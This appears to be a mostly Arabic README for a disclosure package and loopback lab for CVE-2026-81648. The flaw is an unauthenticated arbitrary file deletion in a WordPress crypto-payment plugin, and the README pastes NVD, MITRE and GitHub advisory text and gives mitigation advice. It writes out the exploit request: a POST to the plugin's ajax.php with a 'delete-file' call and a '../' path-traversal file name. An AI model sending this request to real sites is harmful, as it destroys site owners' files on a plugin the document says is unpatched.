abraxas/cve-2026-81648إثبات مفهوم للاستغلال ومختبر لـ CVE-2026-81648، وهي ثغرة حذف ملفات عشوائية بدون مصادقة في إضافة WordPress CryptoPayment Gateway.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-81648
WordPress — CryptoPayment Gateway 1.2.2 — Granwill
إن إضافة CryptoPayment Gateway لـ WordPress من الإصدار 1.2.1 إلى 1.2.2 لا تطبّق فحصًا للتفويض على أحد نقاط نهاية AJAX الخاصة بها، مما يسمح للمستخدمين غير المصادق عليهم باستدعاء عمليات إدارية، بما في ذلك حذف ملفات عشوائية على الخادم، والكتابة فوق إعدادات بوابة الدفع، واستعادة بيانات اعتماد المحفظة المخزّنة بنص صريح.
| CVE | CVE-2026-81648 · CVE.org |
| CWE | CWE-862 |
| CVSS | حرج: 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| المنتج | WordPress — CryptoPayment Gateway |
| المتأثر | 1.2.1–1.2.2 |
| المرقّع | لا يوجد تصحيح عام (WPScan: لا إصلاح معروف) |
| المصادقة | لا شيء (انظر خريطة المصدر) |
| الترخيص | GNU Affero GPL v3.0 |
| المختبر | 127.0.0.1 فقط · حزمة إفصاح للمورّد/العميل، وليست ماسحًا ضوئيًا |
delete-file على cryptd/ajax.php هو نقطة الوصول النهائية. HTTP هو ملف PHP ذلك، وليس admin-ajax.php.
POST/wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.phpGET /wp-content/poc81648/index.php expect POCWitness81648POST ajax.php data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}crpay_file_delete unlinks wp-content/poc81648/index.phpGET witness URL no POCWitness81648POCWitness81648 موجود قبل POST، وغائب بعده. نجاح JSON بدون الحذف ليس هو المقصود.
افعل هذا أولًا: لا يوجد تصحيح عام. عطّل CryptoPayment Gateway أو احجب vendor/cryptd/ajax.php حتى يتوفر إصدار من المورّد.
تحقّق بعد الترقية
CVE-2026-81648-Abraxas-Labs.py مقابل البناء المرقّع: يجب ألا يظهر الشاهد المُعيَّن.إذا لم تستطع التحديث فورًا
استهدف فقط http://127.0.0.1:8088 (أو عنوان loopback الذي ربطته). لا توجّه هذا السكربت إلى الإنترنت.
python3 CVE-2026-81648-Abraxas-Labs.py
النجاح هو الشاهد المذكور أعلاه في جسم الاستجابة. استجابة HTML عامة بحالة 200 ليست هي المقصود.
حزمة loopback المستخدمة لإعادة الإنتاج. صور رسمية ما لم يبنِ Dockerfile في هذا المجلد من المصدر.
cd lab
docker compose up --force-recreate
اربط شجرة المنتج المتأثر بجوار Compose إذا كان ملف YAML يثبّت مجلدًا محليًا (ملف zip للإضافة / وسم المصدر من جدول الإصدارات). لا تنشر شيئًا عدا 127.0.0.1.
# CVE-2026-81648 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-81648`
- CWE: CWE-862
- published: 2026-09-13T21:17:01.930
## NVD description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## MITRE description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## Affected
- Unknown CryptoPayment Gateway 1.2.1 affected
## References (JSON sources only)
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
- https://github.com/advisories/GHSA-9r3q-6qw8-8pm7
- https://nvd.nist.gov/vuln/detail/CVE-2026-81648
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898
## GitHub advisory
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization...
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
حزمة الإفصاح هذه مرخّصة بموجب GNU Affero General Public License v3.0. انظر LICENSE.
هذه الحزمة مخصّصة للمورّد، ومالك الموقع، والمختبرات المرخّصة. يتواصل السكربت مع 127.0.0.1. استخدامه ضد أنظمة لا تملكها غير مصرّح به من Abraxas Labs. لا ضمان.